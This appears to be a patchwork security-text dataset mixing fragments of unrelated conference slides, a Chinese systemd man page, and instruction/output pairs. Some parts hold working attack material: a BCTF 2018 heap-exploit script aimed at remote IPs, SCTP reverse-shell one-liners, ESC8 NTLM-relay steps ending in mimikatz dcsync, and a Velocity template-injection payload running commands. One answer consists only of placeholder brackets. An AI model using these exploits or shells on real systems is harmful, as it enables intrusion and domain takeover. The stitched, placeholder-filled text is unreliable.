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Dec 2017 Copyright*LAC*Co.,*Ltd.*All*Rights*Reserved. Yoshihiro Ishikawa Open%Source%as%fuel%of%recent%APT Copyright*LAC*Co.,*Ltd.*All*Rights*Reserved. Who%am%i?%  Organization:*LAC*  Department:*Cyber*Counter*Threat*Team*  Job*Title:*Security*Researcher* CISSP yoshihiro.ishikawa[at]lac.co.jp Yoshihiro*Ishikawa* 2 Copyright*LAC*Co.,*Ltd.*All*Rights*Reserved. Agenda n Purpose* n Open*Source*Malware*Targeting*MacOS* n PowerShell*Empire*improperly*used* n Prevention*method* n Conclusion* 3 Copyright*LAC*Co.,*Ltd.*All*Rights*Reserved. Purpose PowerSploit** Tiny*SHell n Recently,*there*are*so*many*APT*attacks* fueled*by*the*usage*of*the*open%source%tools% and%malware.* n Why?* n Actors*performing*attacks*using%open%source%tools% are*becoming*more%easy%and%more%resourceful.* n Actors*are likely*anonymize*their*attacks.* n Actors*usually*modified*their*attack*code*and* created%a%new%customized%malware*easily.* Koadic QuasarRAT mimikatz* Trochilus Pupy* 4 Nishang* Copyright*LAC*Co.,*Ltd.*All*Rights*Reserved. Purpose:%APT%groups%with%Open%Source%Tools n APT10*(menuPass):*PowerSploit,*Koadic,*QuasarRAT,*Redleaves(Trochilus)* n Public,*Technology,*Energy*sectors,*etc*(USA,*Canada,*UK,*France,*South*Korea,*Japan,*etc)[1]* n Cloudy*Omega*(Blue*Termite):*mimikatz* n Some*companies,*no*specific*trends*(Japan)* n Tick*(BRONZE*BUTLER):*mimikatz* n Critical*Infrastructure*and*manufacture*(South*Korea*and*Japan)* n PassCV/BARIUM*(Winnti?)[2][3]:*Metasploit,*BeFF* n Game*makers*(USA,*China,*Russia,*South*Korea,*Taiwan*and*Japan)* n Unsure*Group*(APT10):*PowerShell*Empire* n Political*and*academic*sectors*(Japan)* In*this*presentation,*I*will*introduce*PassCV*and* Unsure%Groups%TTPs*confirmed*in*Japan*in*2017* 5 CYBER - EDUCATION - PENTEST - JSOC - 119 - CONSULTING We provide IT total solutions based on advanced security technologies. Copyright*LAC*Co.,*Ltd.*All*Rights*Reserved. Open Source Malware Targeting MacOS Copyright*LAC*Co.,*Ltd.*All*Rights*Reserved. Open%source%malware%variant%


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Information Security Operation providers Group Japan ISOG-J How to make your SOC/CSIRT team more trustworthy?: ISOG-J Maturity Model and self-checking tool Yasunari Momoi momo@iij.ad.jp Internet Initiative Japan Inc. / ISOG-J 1 ISOG-J Information Security Operation providers Group Japan Agenda  about me  what is ISOG-J?  past ISOG-J activities  building security team  documents and frameworks  improving your security team using the viewpoint of operation  introduce some ISOG-Js documents and tools  some interest points of evaluating results  Cybersecurity information sharing 2 ISOG-J Information Security Operation providers Group Japan About me  momo: Yasunari Momoi  Internet Initiative Japan Inc., IIJ-SECT member  Office of Emergency Response and Clearinghouse for Security Information, Advanced Security Division  Facebook ymomoi Twitter @sbg  Security, SOC/CSIRT, Software Developer, Server/Network Engineer  Develop some managed security services, operators dashboard, software tools for analyzing security logs, etc...  Acting as a CSIRT member  FIRST, FIRST Japan Teams, NCA (Nippon CSIRT Association)  ISOG-J, ICT-ISAC  Special Interest  local foods, Heavy Metal, cats 3 ISOG-J Information Security Operation providers Group Japan WHAT IS ISOG-J? 4 ISOG-J Information Security Operation providers Group Japan What is ISOG-J  the Information Security Operation providers Group Japan  established 2008  ISOG-J is a professional community for security operation providers  a forum to share information about security operation and resolve common issues.  ISOG-Js pronunciation is ee-sog-jay  the meaning is Got to hurry, Japan!  http://isog-j.org/e/ 5 ISOG-J Information Security Operation providers Group Japan 2009 established IIJ, IIJ Technology, NTT Data, NEC, NTT, Hitachi Systems, Fujitsu, MBSD, NRI Secure, LAC BBSec, NECXS, NTTCom, DIT, Fujitsu SSL, IBM Japan 2008 Kaspersky labs Japan, Softbank Technology 2010 NTT Data Security, UBSecure 2011 MIND, UNIS, UNIADEX 2012 Tricoder


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1 2  We all hear about anti-phishing gadgets that cost an arm and a leg.  Im here to tell you why youll pay for it, even though it doesnt work.  Because youre going to fall into the trap, just like everyone else. Plan to fail now.  Lets get on with it. 3  "Please mail us your username, password and token."  People wont federate  People lose them, type them in backwards, etc... etc...  Can anyone beat the record of 13 keyfobs?! 4  Hackers don't use .bank and no one notices anyway.  Only banks can use it? Can I have .momandpa pls?  Wait, why again are we building another EV Cert? 5  Phishers don't use SSL  Prohibitively expensive for ma and pa retailers  Users don't get it anyway  Look for the lock messaging is lost GridOne 01878796 01 87 87 96 ISSA Snake oil 7  MIT study  People dont notice if its changed or even not there at all!  Man in the middle attacks  Phishers can simply say, We lost your sitekey image, could you pick a new one, kthksbye 8  The vast majority of trusted sites still have:  XSS  CSRF  SQLInjection  Command injection 9  Don't use any sort of email, phone or FAX encryption with their customers/clients  Don't have any brute force detection (or if they do, only vertical)  Don't force strong passwords, auto log out, automatic password change, etc...  Do have downloads over HTTP! Weee! 10  Yup, youre going to pay for all those same nearly pointless security doo- dads even though you havent fixed any of your other issues! 11  Bear analogy. (I hate that analogy, btw). We are bidding up our security.  Yes, you will probably buy snake oil, just like everyone else.  Can you blame the vendors for monetizing our problems with the latest security widget?  Plan to fail - youre probably already doing it!


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'\" t .TH "SYSTEMD\-FIRSTBOOT" "1" "" "systemd 231" "systemd-firstboot" .\" ----------------------------------------------------------------- .\" * Define some portability stuff .\" ----------------------------------------------------------------- .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\" http://bugs.debian.org/507673 .\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .ie \n(.g .ds Aq \(aq .el .ds Aq ' .\" ----------------------------------------------------------------- .\" * set default formatting .\" ----------------------------------------------------------------- .\" disable hyphenation .nh .\" disable justification (adjust text to left margin only) .ad l .\" ----------------------------------------------------------------- .\" * MAIN CONTENT STARTS HERE * .\" ----------------------------------------------------------------- .SH "NAME" systemd-firstboot, systemd-firstboot.service \- 初始化基本系统设置 .SH "SYNOPSIS" .HP \w'\fBsystemd\-firstboot\fR\ 'u \fBsystemd\-firstboot\fR [OPTIONS...] .PP systemd\-firstboot\&.service .SH "描述" .PP \fBsystemd\-firstboot\fR 既可以在系统首次启动时交互式的初始化最基本的系统设置 也可以在创建新系统镜像时非交互式的初始化最基本的系统设置 这些最基本的系统设置包括 .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} 本地化 也就是 \fILANG=\fR 与 \fILC_MESSAGES\fR 两个环境变量 .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} 时区 .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} 主机名 .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} "machine ID" .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} root 用户的密码 .RE .PP 所有上述设置既可以交互式的向用户询问 也可以非交互式的通过命令行选项指定 还可以从创建新系统镜像的主机复制而来 .PP 如果某个设置已经被初始化 那么将不会覆盖已有的设置 并且不会提示用户设置此项 .PP 与 \fBlocalectl\fR(1), \fBtimedatectl\fR(1), \fBhostnamectl\fR(1) 不同此工具直接操作文件系统上的配置文件 并不需要任何系统服务的支持 因此 \fBsystemd\-firstboot\fR 可用于设置一个已挂载(但未启动)的系统镜像 不应该在


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Real World Privacy DEFCON 12 July 30, 2004 Real World Privacy How to leave fewer breadcrumbs in life by Roger Cooke n0namehere@yahoo.com Real World Privacy DEFCON 12 July 30, 2004 What are you talking about? The focus here is not a why talk, were talking the how. If you need to know why, leave your full name, DOB and SSN with me and Ill get back to you (perhaps youll get back to yourself). Real World Privacy DEFCON 12 July 30, 2004 If information doesnt exist, it cant be  Used against you  Used for you  Subpoenaed  Stolen or lost A key principle in being private Real World Privacy DEFCON 12 July 30, 2004 Privacy may not be free and there may be a direct cost to being anonymous: - No award points (airlines, hotels, grocery store) - Higher fees at retail stores (grocery store) - No subscription discounts - No credit card benefits (buyer protection) - No insurance on belongings Privacy can have monetary costs. Are you willing to pay? Real World Privacy DEFCON 12 July 30, 2004 Your name and who you are? Where you live? What you spend your money on? Your hobbies? Why you visited the doctor? Where you travel to? Where you work? How much you (dont) make? Your personal identifying information? Before thinking about protecting your privacy, ask what is it that you are trying to protect? Real World Privacy DEFCON 12 July 30, 2004 Nosy boss? Nosy neighbor/house mate? Ex-lover? Former professional associate? Random target of opportunity? Someone you accidentally pissed off? The Feds? Big Business? Different people want data for different reasons. Think before you give it up. Before thinking about protecting your privacy, ask who is the threat? Real World Privacy DEFCON 12 July 30, 2004 A 360-degree view of the customer is so tantalizing that most companies are virtually drooling over the prospect of being able to sell, service, market, cross- sell, and update sell from a common view of a customers history.  Information Week April 5, 2004 page 67 More on the threat Real World Pr


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2 u Dongsung Kim u Graduate Student Researcher u @kid1ng u https://kidi.ng u Hackers In inTrusion Laboratory u https://hit.skku.edu Surname 1 4 u Samsungs smartwatch products  Track fitness; control smart devices; receive calls, texts, and emails; pay with NFC  Pair phone with Bluetooth + Wi-Fi (+ LTE)  App marketplace: Samsung Galaxy Apps u So much sensitive information  Contacts, calendar, location, email, notification,   Access to privileged resources must be controlled Image: Samsung 5 u Samsung Gear firmware consists of:  Tizens open source components  Samsungs closed source components u Linux-based open source OS  Many of Samsungs products  Smartwatches, smartphones, cameras, smart TVs, home appliances,  Image: Tizen Project, a Linux Foundation Project 6 u Ajin Abraham @ HITBSecConf u Amihai Neiderman @ Security Analyst Summit  40 0-day vulnerabilities u PVS-Studio 27 000 Errors in Tizen OS  900 code errors in a portion of Tizen source code u We focus on a smartwatchs perspective 2 - 9 - u Files, Directories, UNIX Sockets, Utilities u Applications  Use Tizen APIs to access the services u Services  Special privileged daemons dedicated for a resource  e.g., Wi-Fi, Bluetooth, GPS, messaging, sensors,   Must reject requests from unauthorized parties Source: Tizen Wiki 10 u App dev specifies privileges in manifest  User accepts the permission for the app  Installer checks and registers the privilege policy  Accesses are controlled at the runtime u Tizen defines many privileges  internet, bluetooth, network.set, screenshot, notification, email,   Only some of them are Public level  Partner, Platform level disallowed for most Source: Tizen Wiki Image: locked by Jenie Tomboc / CC BY tizen-manifest.xml .tpk app package On users smartphone Signed by Store 11 u DAC (Discretionary Access Control)  UNIX user ID + group ID policies u SMACK (Simplified Mandatory Access Control in Kernel)  Kernel-space MAC  App receives a unique label at install time  e.g., User::Pkg::sample_


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BCTF 2018 By Nu1L BCTF 2018 PWN easiest three hardcore_fmt SOS easywasm Reverse easypt Web checkin SimpleVN babySQLiSPA SEAFARING1 SEAFARING2 Crypto guess_polynomial guess_number BlockChain EOSGame Fake3D MISC easysandbox https://bctf.xctf.org.cn/ 1127 14:00 - 1129 02:00 PWN easiest Double Freetcache Leak GOT0x40size from pwn import * #p = process('./easiest') p = remote('39.96.9.148', 9999) def add(idx, size, c): p.recv() three p.sendline('1') p.recvuntil('(0-11):') p.sendline(str(idx)) p.recvuntil('Length:') p.sendline(str(size)) p.recvuntil('C:') p.sendline(c) def dele(idx): p.recv() p.sendline('2') p.recvuntil('(0-11):') p.sendline(str(idx)) add(0, 0x38, 'aaa') add(1, 0x38, 'bbb') dele(0) dele(1) dele(0) add(2, 0x38, p64(0x60203a)) add(3, 0x38, p64(0x60203a)) add(4, 0x38, p64(0x60203a)) add(5, 0x38, '\x40\x00\x00\x00\x00\x00' + p64(0x400946) * 5) p.interactive() from pwn import * def add(cont): p.recvuntil('choice') p.sendline('1') p.recvuntil('content:') p.send(cont) def edit(idx,cont): p.recvuntil('choice') p.sendline('2') p.recvuntil('idx') p.sendline(str(idx)) p.recvuntil('content:') p.send(cont) def dele(idx,cl = 'n'): p.recvuntil('choice') p.sendline('3') p.recvuntil('idx') p.sendline(str(idx)) p.recvuntil('):') p.sendline(cl) while True: try: p=remote('39.96.13.122', 9999) #p=process('./three')#,env={'LD_PRELOAD':'./libc.so.6'}) add('\n') add('\n') add((p64(0xc0)+p64(0x21))*4) dele(2,'y') dele(1,'y') dele(0) edit(0,'\x70') add('\x70') add('\n') edit(0,p64(0)+p64(0x91)) dele(1,'y') dele(2) dele(2) dele(2) dele(2) dele(2) dele(2) dele(2) edit(0,p64(0)+p64(0x51)) dele(2) edit(0,p64(0)+p64(0x91)) dele(2,'y') x = 0xa8#int(raw_input(),16)# edit(0,p64(0)+p64(0x51)+'\xe8'+chr(x)) add('\xe8'+chr(x)) #add(p64(0xffffffffff600400)) add(p64(0)) dele(1) dele(1,'y') edit(0,p64(0)+p64(0x51)+'\x78') edit(2,p64(0xffffffffff600400)) add('\x78') dele(1,'y') add('\xd8'+chr(x)) dele(0,'y') add('\x40') dele(0,'y') add('\n') dele(0,'y') add('/bin/sh\x00') BCTF{U_4r3_Ready_For_Ho


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apt install lksctp-tools modprobe sctp lsmod | grep sctp checksctp  run SCTP server in one terminal, sctp_darn -H 0 -P 2500 -l sctpshell 0x00 0x01 run SCTP client in another terminal, sctp_darn -H 0 -P 2600 -h 127.0.0.1 -p 2500 -s     0x02   sudo apt-get install ksh /bin/bash -i > /dev/sctp/host/port 2>&1 0>&1 //bash /bin/ksh -i > /dev/sctp/host/port 2>&1 0>&1 //ksh 0x03 shell   0x04


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ESC8是一个http的ntlm relay原因在于ADCS的认证中支持ntlm认证 默认即存在 下面开始攻击复现首先我们需要搭建一个辅助域控 勾选域服务 安装即可同理设置为域控 选择添加到现有域 选择从主域复制 重启后测试 下面即可开始攻击 1 python3 Petitpotam.py u '' d '' p '' "ntlmrelay address" "DC02 addres s" 1 ntlmrelayx.py t http://adcs/certsrv/certfnsh.asp smb2support adcs t emplate 'DCTest' 获取到证书 然后使用证书请求DC02$的票据 获取票据成功 mimikatz进行dcsync 然后进行pth攻击获取域控权限 出现错误的话可以参考https://github.com/SecureAuthCorp/impacket/pull/1101


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Why Anomaly Based Intrusion Detection Systems are a Hax0rs Best Friend By David Maynor GT Information Security David.Maynor@oit.gatech.edu The history of the castle.  What is a Anomaly based IDS and how does it differ from Signature based systems? a. Signature based systems rely on static analysis of event. b. Anomaly systems rely on creating a baseline of normal activity then flag any deviations.  History a. Where they come from. b. What drives their development. How the castle is built.  How anomaly based systems work. a. A baseline is normally gathered during a tuning phase. Gather all traffic, analyze it, store it. b. Data mining process that does statistical analysis of data.  Theory behind them.  a. If its traffic that hasn't been seen before, its bad.  b. Attacks cause things the system has not seen before. How the castle is built. (cont.)  Can science brewed in research labs work in the wild? a. Eggheads can build rockets, but can they build security products? b. Crackers excel at creating attacks that bypass security models, why is traffic analysis any different?  Hardware based considerations. a. What kind of hardware is required to make this a effective scalable solution? b. Type of information that would have to be stored leads to huge hardware requirements. c. Speed. -sniffing -analysis The castle was built on a shaky foundation.  Problems. a. Unwieldy size. b. Hardware limitations. c. Integration of network changes.  Things anomaly based systems assume. a. If it hasn't been seen before, its bad. b. Machines have normal patterns that can be easily distinguished. c. Networks dont change.  This is somewhat of a half-truth. The castle was built on a shaky foundation. (cont.)  Why it is so hard to tell good traffic from bad traffic? a. Anomaly based systems rarely look at the payload. b. If network runs in a nonstandard configuration there are problems. c. Attacks against commonly used services on the machines are ignored.  Web server attacks against public


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RF-ID and Smart-Labels: Myth, Technology and Attacks DefCon 2004 July 30 - August 1, Alexis Park, Las Vegas, NV Lukas Grunwald DefCon 2004 RF-ID and Smart-Labels: Myth, Technology and Attacks  p. 1 Agenda What is RF-ID ? What is RF-ID and what are Smart-Labels Risks and dangers with them Fun with them, how to protect your privacy Attacks against Smart-Label Systems, RF-ID Systems Demonstration of RF-ID Tags and RF-DUMP in practical use The RSA-Blocker-Tag fake The Metro Future Store RF-ID and Smart-Labels: Myth, Technology and Attacks  p. 2 RF-ID RF-ID (Radio Frequency Identiﬁcation) is a mechanism to get an identiﬁcation remotely from: your remote-control for your garage an access control-system for a room a cage in a factory an electronic product code attached to a wrapped item in the supermarket RF-ID and Smart-Labels: Myth, Technology and Attacks  p. 3 Frequencies RF-ID (Radio Frequency Identiﬁcation) operates globally on different frequencies, the most common systems are using the ISM (Industrial Science Medical) Bands: 6765 - 6795 kHz 40,66 - 40,7 MHz 24 - 24,25 GHz 13553 - 13567 kHz 433,05 - 434,79 MHz 61 - 61,5 GHz 26957 - 27283 kHz 2400 - 2500 MHz 122 - 123 GHz RF-ID and Smart-Labels: Myth, Technology and Attacks  p. 4 Smart Labels - EPC Smart-Labels are a special form of an RF-ID application. The tags look like normal product tags, but inside is an antenna and a small microchip. The tags have a Serial Number and an EEPROM that can store information like the EPC (Electronic Product Code), an international unique code from the manufacturer. Now the labels have mobile communication capabilities. EPC Type 1 01 0000A66 00016F 000169DCD Header EPC Manager Object Class Serial Number 8 Bit 24 Bit 24 Bit 36 Bit The ISO-Standard Smart-Labels operate on the ISM Frequency 13.56 MHz RF-ID and Smart-Labels: Myth, Technology and Attacks  p. 5 Smart-Label - Variants Some of the well-known cheap Smart-Labels youll ﬁnd today and tomorrow in some consumer-products are: ISO 1


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I Hunt Penetration Testers: More Weaknesses in Tools and Procedures Wesley McGrew, Ph.D. wesley@mcgrewsecurity.com Page ! of ! 1 21 DRAFT Final paper and slide release during DEF CON 23 at mcgrewsecurity.com and available on defcon.org shortly afterwards. Trust me, youll want the final copy. ABSTRACT When we lack the capability to understand our tools, we operate at the mercy of those that do. Penetration testers make excellent targets for bad actors, as the average testers awareness and understanding of the potential risks and vulnerabilities in their tools and processes is low, and the value of the information they gather and gain access to among their client base is very high. As demonstrated by Wesleys DEF CON 21 talk on vulnerabilities in penetration testing devices, and last years compromise of WiFi Pineapple devices, the tools of offensive security professionals often represent a soft target. In this talk, operational security issues facing penetration testers will be discussed, including communication and data security (not just bugs), which impact both testers and clients. A classification system for illustrating the risks of various tools is presented, and vulnerabilities in specific hardware and software use cases are presented. Recommendations are made for improving penetration testing practices and training. This talk is intended to be valuable to penetration testers wanting to protect themselves and their clients, and for those who are interesting in profiling weaknesses of opposing forces that may use similar tools and techniques. Page ! of ! 2 21 INTRODUCTION 4 MOTIVATION 4 TERMINOLOGY 4 ASSUMPTIONS ABOUT ATTACKER CAPABILITIES 5 VALUE OF TARGETING PENETRATION TESTERS 6 VICTIMOLOGY 6 GOALS 7 OPERATIONAL SECURITY ISSUES 8 STANDALONE EXPLOITS PAYLOADS 8 DATA IN TRANSIT 10 EXTENDING NETWORKS 11 DATA AT REST 11 POINT OF CONTACT COMMUNICATIONS 12 CLASSIFYING PENTESTING TOOL SAFETY 12 CLASSIFYING PENETRATION TESTING TOOL SAFETY 12 CASE STUDY: KALI LINUX TOO


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DefCon 21, Las Vegas 2013 Lets Screw With nMap Gregory Pickett, CISSP, GCIA, GPEN Chicago, Illinois gregory.pickett@hellfiresecurity.com Hellfire Security Overview Nosey Bastards! All About Packet Normalization Working It All Out Putting It Into Practice Finishing Up Network Defenders We see scans and probes of our network every day From the inside and from the outside Everybody is targeting us Identifying our assets How They Do It Network stack implementation is highly discretionary Differences identify the operating system type and version Allowing Attackers to identify their targets By matching the headers of their target to known operating system implementations  then its likely a Windows 2003 Sever! Uses the following options MSS of 1460 Single NOP Window Size 0 Single NOP Single NOP Ending SACK If your target  Has a TTL of 128 Implications If they identify your assets  They know their weaknesses How to attack them successfully Without triggering your sensors TSA-Style patdowns  Its fact of life But does it have to be? Why cant we  Remove the differences To remove their advantage Strip them of their ability to fingerprint To significantly reduce their chance of success My Answer Packet ization OK. What is packet normalization? Had anyone thought of this before? Not an entirely developed concept Many expressions but most incomplete  Normalization vs. Scrubbing Scrubbing is to do away with; cancel Normalization is to make normal, especially to cause to conform to a standard or norm Both are seen in varying degrees Scrubbing Used by a number of firewalls Randomize IP ID Clear IP DF Also  Set IP tos/dscp, and ttl IP Fragment Reassembly Primarily Concern Policy Violations Abnormal Packets Abnormal Flows Scrubbing Custom patch for netfilter Random IP ID Randomize TCP Timestamp Randomize TCP SEQ Clear IP tos/dscp IP TTL Tinkering Developed by Nicolas Bareil Mentions fingerprint prevention Host Only Scrubbing Used by some network devices such as Cisco ACE and ASA Rando


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Confluence SSTI via Velocity 0x00 前言 之前的文章CodeQL在Shiro550中的应用的小结里有写到自己关于 漏洞分析 的浅薄理解, 机械地跟进代 码其实并没有太大的意义, 意识到这个问题后的自己也在刻意地练习自己写文章的风格, 希望能改掉一些不好的 习惯 0x01 简介 本文将要介绍以下内容: 模板引擎 Velocity 基础使用 模拟挖掘 CVE-2020-4027 怎么选择切入点 遇到问题 解决问题的过程 逐步构造出可利用的 Exploit 漏洞复现 本文的侧重点: 思考 & 记录如何站在漏洞挖掘者的角度去正向地分析漏洞 0x02 模板引擎 Velocity Velocity 部分主要关注两点: 基本语法 (能看懂 poc/exp) 如何作为 RCE Sink触发 (弹计算器) 基本语法和使用 Velocity 是一个基于 Java 的模板引擎template engine, 允许使用模板语言template language来引用由 Java 代码定义的对象 Velocity 同时可实现页面静态化, 将Java代码与网页分开, 使网站可维护性增强, JSP 的平替代方案 0常见符号介绍 符 号 含义 # 关键字使用#开头, 如#set#if#else#end#foreach等 $ 变量都是使用$开头的, 如: $name$msg {} 需要明确表示的变量, 可用{}将变量包含如需要有$someoneName这种内容, 此时为了让 Velocity区分, 可使用${someone}Name  如果某个变量不存在, 页面中会显示$xxx的形式, 为了避免这种形式, 可在变量名称前加上如 页面中有$msg, 有值, 显示msg的值不存在就显示$msg 通过例子来学习基本语法 1如何定义变量 ? 执行结果 2如何给变量赋值 ? 赋值规范 #set($prefix = "hello") #set($name = "velocity") #set($template = "$prefix $name") $template 这是注释 变量引用 #set($bill = "hello") #set($name = $bill) 字符串 #set($name.pre = "cn") 属性引用, velocity 会将属性解释为属性的get方法 #set($name = $people.name) $people.name 等同于 $people.getName() 方法引用 #set($name.first = $peolpe.getFirstName($name)) 左边必须是变量, 或者是属性的引用 右边可以是变量引用字符串属性引用方法引用数字数组 3如何定义一个循环语句 ? 执行结果 4如何定义条件语句 ? 执行结果 5如何定义宏(函数) ? 1. 无参数的宏 #foreach( $num in [010]) this is $num."\n" #end #foreach($num in [02]) #if($num 2) this $num , hello velocity #else #end #end 执行结果 2. 有参数的宏 执行结果 如何作为 RCE Sink 触发 执行结果 定义了一个宏, 名字为 getName, 没有参数 #macro(getName) pen4uin #end 使用该宏, velocity 处理 #getName() 时会将其替换为 pen4uin this is #getName() 定义了一个宏, 名字为 greet, 参数是 $name #macro(greet $name) hello $name, this is pen4uin #end #greet() #* 定义一个变量 $clazz, 是字符串类型 通过 String 类型变量的 getClass() 方法取运行时类的对象 $obj 通过 Class 的静态方法 forName() 获取可供命令执行的类的对象 $rt 通过反射调用 getRuntime 获取 java.lang.Runtime 的实例并调用静态方法执行命令 *# #set($clazz="str") $clazz.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).inv oke(null,null).exec('calc') 0x03 CVE-2020-4027 post-auth RCE 安全公告 Velocity Template Injection in Custom user macros - Macros Platform -


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

Introduction SEH Basics Anti-RE Techniques Decrypting the Content Anti-RE Techniques in DRM Code Jan Newger Seminar on Advanced Exploitation Techniques i4, RWTH Aachen, Germany DEF CON 16 / 2008 Jan Newger Anti-RE Techniques in DRM Code Introduction SEH Basics Anti-RE Techniques Decrypting the Content Outline 1 Introduction Legal Issues About DRMs Approaching the DRM 2 SEH Basics Overview Exception Dispatching 3 Anti-RE Techniques Overview Trampolines Debug Registers P-Code Machine 4 Decrypting the Content The Algorithm Demo Jan Newger Anti-RE Techniques in DRM Code Introduction SEH Basics Anti-RE Techniques Decrypting the Content Legal Issues About DRMs Approaching the DRM Outline 1 Introduction Legal Issues About DRMs Approaching the DRM 2 SEH Basics Overview Exception Dispatching 3 Anti-RE Techniques Overview Trampolines Debug Registers P-Code Machine 4 Decrypting the Content The Algorithm Demo Jan Newger Anti-RE Techniques in DRM Code Introduction SEH Basics Anti-RE Techniques Decrypting the Content Legal Issues About DRMs Approaching the DRM Issues with this Talk Legal Issues Legal issues with publishing DRM research Probably illegal in most countries, legal uncertainty Jan Newger Anti-RE Techniques in DRM Code Introduction SEH Basics Anti-RE Techniques Decrypting the Content Legal Issues About DRMs Approaching the DRM Issues with this Talk Legal Issues Legal issues with publishing DRM research Probably illegal in most countries, legal uncertainty EFF to the Rescue! Electronic Frontier Foundation (EFF)[1] Non-proﬁt organization dedicated to preserving free speech rights Discussed solution with Jennifer Granick from EFF (thx Jennifer!) Loophole in DMCA -> "Encryption Research"[2] But still too dangerous for me Jan Newger Anti-RE Techniques in DRM Code Introduction SEH Basics Anti-RE Techniques Decrypting the Content Legal Issues About DRMs Approaching the DRM Issues with this Talk (2) Consequence Strip details about key setup and decryption algorithm Dont reveal


Instruction: 请解释命令注入的原理和防护方法

Output: 命令注入是一种常见的网络安全威胁。攻击原理：[具体原理说明]。防护措施：1. [防护方法1] 2. [防护方法2] 3. [防护方法3]


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

1 目录 关于OWASP 开源Web应用安全项目OWASP是一个开放 的社区致力于帮助各企业组织开发购买和维护可信任 的应用程序 在OWASP 您可以找到以下免费和开源的信息  应用安全工具和标准  关于应用安全测试安全代码开发和安全代码审查 方面的完整书籍  演示文稿和视频  关于常见风险的Cheat Sheets  标准的安全控制和安全库  全球各地分会  尖端技术研究  专业的全球会议  邮件列表 更多信息请访问 https://www.owasp.org 更多中文信息请访问http://www.owasp.org.cn/ 所有的OWASP工具文档论坛和全球各地分会都 是开放的并对所有致力于改进应用程序安全的人士开放 我们主张将应用程序安全问题看作是人过程和技术 的问题因为提供应用程序安全最有效的方法是在这些方 面提升 OWASP是一个新型组织我们没有商业压力使得 我们能够提供无偏见实用低成本的应用安全信息 尽管OWASP支持合理使用商业安全技术但OWASP 不隶属于任何技术公司和许多开源软件项目一样 OWASP以一种协作开放的方式制作了许多不同种类的 材料 OWASP基金会是确保项目长期成功的非营利性组织 几乎每一个与OWASP相关的人都是一名志愿者这包括 了OWASP董事会全球各地分会会长项目领导和项目 成员 我们用资金和基础设施来支持创新的安全研究 我们期待您的加入 TOC 目录 TOC 目录.. 1 FW 前言 ... 2 I 简介 ..... 3 RN 发布说明 ........................ 4 Risk API安全风险 ................. 5 T10 OWASP API 安全Top 10  2019... 6 API1:2019 失效的对象级别授权 ... 7 API2:2019 失效的用户身份验证.... 8 API3:2019 过度的数据暴露. 9 API4:2019 资源缺乏和速率限制 10 API5:2019 失效的功能级授权. 11 API6:2019 批量分配. 12 API7:2019 安全配置错误.... 13 API8:2019 注入. 14 API9:2019 资产管理不当.... 15 API10:2019 日志和监控不足.. 16 +D 开发人员下一步做什么?.. 17 +DSO DevSecOps下一步做什么.. 18 +DAT 方法和数据.... 19 +ACK 致谢.... 20 https://owasp.org 本文档的发布基于 Creative Commons Attribution Share-Alike 4.0 license 2 FW 前言 在当今应用驱动的世界中创新的一个基本要素是应用程序编程接口API从银行零 售运输到物联网自动驾驶汽车智能城市API都是现代移动SaaS 和 Web应用程序的一个 关键组成部分并且在面向客户面向合作伙伴和面向内部的应用中都会使用到 一般来说API会公开应用程序的逻辑和敏感数据如个人识别信息PII正因为如此 API越来越成为攻击者的目标如果没有安全的 API快速创新将不可能 虽然更为宽泛的 OWASP Top 10仍然具有重要意义但由于API的特殊性质我们需要一份特 定的API安全风险清单API安全聚焦于策略和解决方案以便理解并且缓解与API相关的独特脆 弱点和安全风险 如果您熟悉 OWASP Top 10那么您会发现这两个文件之间的相似之处它们的目的都是为 了更容易阅读和被采纳如果您还不熟悉OWASP Top 10系列您可能需要先阅读本文 API 安全 风险部分和方法和数据部分然后再阅读十大风险列表 您可以在我们Github上的项目仓库为OWASP API Top 10提出您的问题意见和想法  https://github.com/OWASP/API-Security/issues  https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md 您可以在以下链接找到OWASP API 安全 Top 10  https://www.owasp.org/index.php/OWASPAPISecurity_Project  https://github.com/OWASP/API-Security 我们感谢所有这个项目的贡献者并将他们全部列致谢部分谢谢您们 3 I 简介 欢迎参阅2019年版OWASP API 安全 Top 10 欢迎阅读第一版OWASP API 安全 Top10如果您熟悉 OWASP Top 10系列您会注 意到它们之间的相似之处它们的目的都是为了更容易阅读和被采纳但是如果您不熟悉这个 系列请考虑先访问 OWASP


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

Unlimited Results: Breaking Firmware Encryption of ESP32-V3 Karim M. Abdellatif, Olivier Heriveaux, and Adrian Thillard Motivation  ESP32 is deployed in hundreds of million devices as announced by Espressif 1  ESP32-V3 has been recently used as the main MCU in Jade hardware wallet (Blockstream)2  Encrypted firmware is stored in the external flash  The encryption key is stored in the eFuses of ESP32-V3 1Espressif, Espressif Achieves the 100-Million Target for IoT Chip Shipments, 2018 2https://blockstream.com/jade/ 2 Motivation  ESP32 is deployed in hundreds of million devices as announced by Espressif 1  ESP32-V3 has been recently used as the main MCU in Jade hardware wallet (Blockstream)2  Encrypted firmware is stored in the external flash  The encryption key is stored in the eFuses of ESP32-V3 Jade wallet ESP32-V3 + external flash 1Espressif, Espressif Achieves the 100-Million Target for IoT Chip Shipments, 2018 2https://blockstream.com/jade/ 2 ESP32-V1 vs ESP32-V3 ESP32-V1  Flash encryption and secure boot were broken by LimitedResults3 in 2019  During the power-up eFuse protection bits are manipulated  The main idea is to glitch the chip during the power-up 3LimitedResults, Fatal Fury On ESP32: Time to Release HW Exploits, Blackhat Europe 2019 